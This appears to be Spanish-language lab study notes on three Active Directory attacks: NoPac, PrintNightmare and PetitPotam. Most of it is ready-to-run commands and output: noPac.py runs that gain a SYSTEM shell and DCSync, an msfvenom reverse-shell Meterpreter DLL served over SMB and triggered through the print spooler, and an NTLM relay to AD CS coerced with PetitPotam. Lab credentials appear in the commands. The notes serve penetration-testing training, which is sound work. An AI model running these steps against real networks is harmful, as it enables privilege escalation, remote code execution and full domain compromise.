Bleeding Edge AD Vulnerabilities — NoPac, PrintNightmare, PetitPotam
Resumen:
Ataques recientes (2021–2022) que permiten privilege escalation y domain compromise en entornos Active Directory. Son técnicas potentes, relativamente silenciosas y útiles para laboratorios, pero deben evitarse en clientes reales sin permisos y entendimiento claro de su impacto.
📌 Escenario General
-
Ataque desde un Linux attack host (ATTACK01).
-
Algunas partes opcionales desde un Windows host (MS01) con Rubeus/Mimikatz.
-
El objetivo principal: Domain Controllers Windows Server 2019.
🚨 NoPac – SamAccountName Spoofing
CVE-2021-42278 + CVE-2021-42287
Permite elevar privilegios desde usuario de dominio estándar → Domain Admin en un solo comando.
🧠 Concepto
-
42278 → cambiar
sAMAccountNamede un computer object. -
42287 → Kerberos PAC no valida bien el nombre del computador solicitante.
-
Se crea un equipo cuyo
SamAccountNamecoincide con el de un DC. -
Kerberos entrega TGT como si fuéramos el DC real.
-
Resultado: SYSTEM en el DC + TGT útil para DCSync.
🔧 Preparación
git clone https://github.com/SecureAuthCorp/impacket.git
python setup.py install
git clone https://github.com/Ridter/noPac.git
🔍 Escanear vulnerabilidad
sudo python3 scanner.py inlanefreight.local/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
Indicadores:

-
ms-DS-MachineAccountQuota = 10(si es 0 → ataque falla) -
Obtención de TGT válido.
🛠️ Explotación – Obtener una SYSTEM shell
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
Resultado:

- Shell semi-interactiva via
smbexec.pyejecutándose como NT AUTHORITY\SYSTEM.
🗃️ TGT generado
Se guarda en el directorio actual:
administrator_DC01.INLANEFREIGHT.local.ccache
Usable para pass-the-ticket.
🩺 DCSync con NoPac
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 \
-dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 \
--impersonate administrator -use-ldap -dump \
-just-dc-user INLANEFREIGHT/administrator
🖨️ PrintNightmare
CVE-2021-34527 / CVE-2021-1675
Permite Remote Code Execution como SYSTEM en cualquier máquina con Print Spooler activo.
🔧 Preparación
git clone https://github.com/cube0x0/CVE-2021-1675.git
Necesitas también instalar versión modificada de Impacket:
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 setup.py install
🔍 Verificar RPC expuesto
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'
💣 Explotación
1. Crear payload DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll
2. Servir DLL por SMB
sudo smbserver.py -smb2support CompData /path/to/backupscript.dll
3. Iniciar handler en MSF
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 172.16.5.225
LHOST => 10.3.88.114
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 8080
LPORT => 8080
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run
[*] Started reverse TCP handler on 172.16.5.225:8080
4. Ejecutar la explotación
gorosolea@htb[/htb]$ sudo python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'
[*] Connecting to ncacn_np:172.16.5.5[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\172.16.5.225\CompData\backupscript.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
<SNIP>
🎯 Resultado
-
Meterpreter session →
-
SYSTEM shell:
nt authority\system.
🪓 PetitPotam (MS-EFSRPC)
CVE-2021-36942 – LSA Spoofing + NTLM Relay to ADCS
Ataque basado en:
-
Forzar a un DC a autenticarse vía NTLM → nuestro servidor.
-
Relay hacia AD CS (Web Enrollment).
-
Obtener un certificado para el DC.
-
Usarlo para pedir un TGT del DC → DCSync.
🧰 Preparación: ntlmrelayx targeting AD CS
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
⚡ Lanzar PetitPotam
python3 PetitPotam.py 172.16.5.225 172.16.5.5
Resultado esperado:
-
Attack worked! -
Nuestro ntlmrelayx obtiene certificado del DC en Base64.
🎟️ Resultado crítico
En ntlmrelayx aparecerá:
GOT CERTIFICATE! Base64 certificate of user ACADEMY-EA-DC01$: MIIStQIBAzCCEn8GCSqGSIb3DQEHB...
Este certificado permite:
-
Obtener un TGT del DC.
-
Ejecutar DCSync → compromiso total del dominio.
✔️ Conclusiones Finales
-
NoPac → Pwn de DC completo desde user estándar.
-
PrintNightmare → RCE como SYSTEM vía spooler.
-
PetitPotam → Relaying avanzado para DC certificate + DCSync.
-
Todas estas vulnerabilidades deben practicarse solo en entornos controlados.
-
Para producción: aplicar mitigaciones, deshabilitar características vulnerables, y monitorear.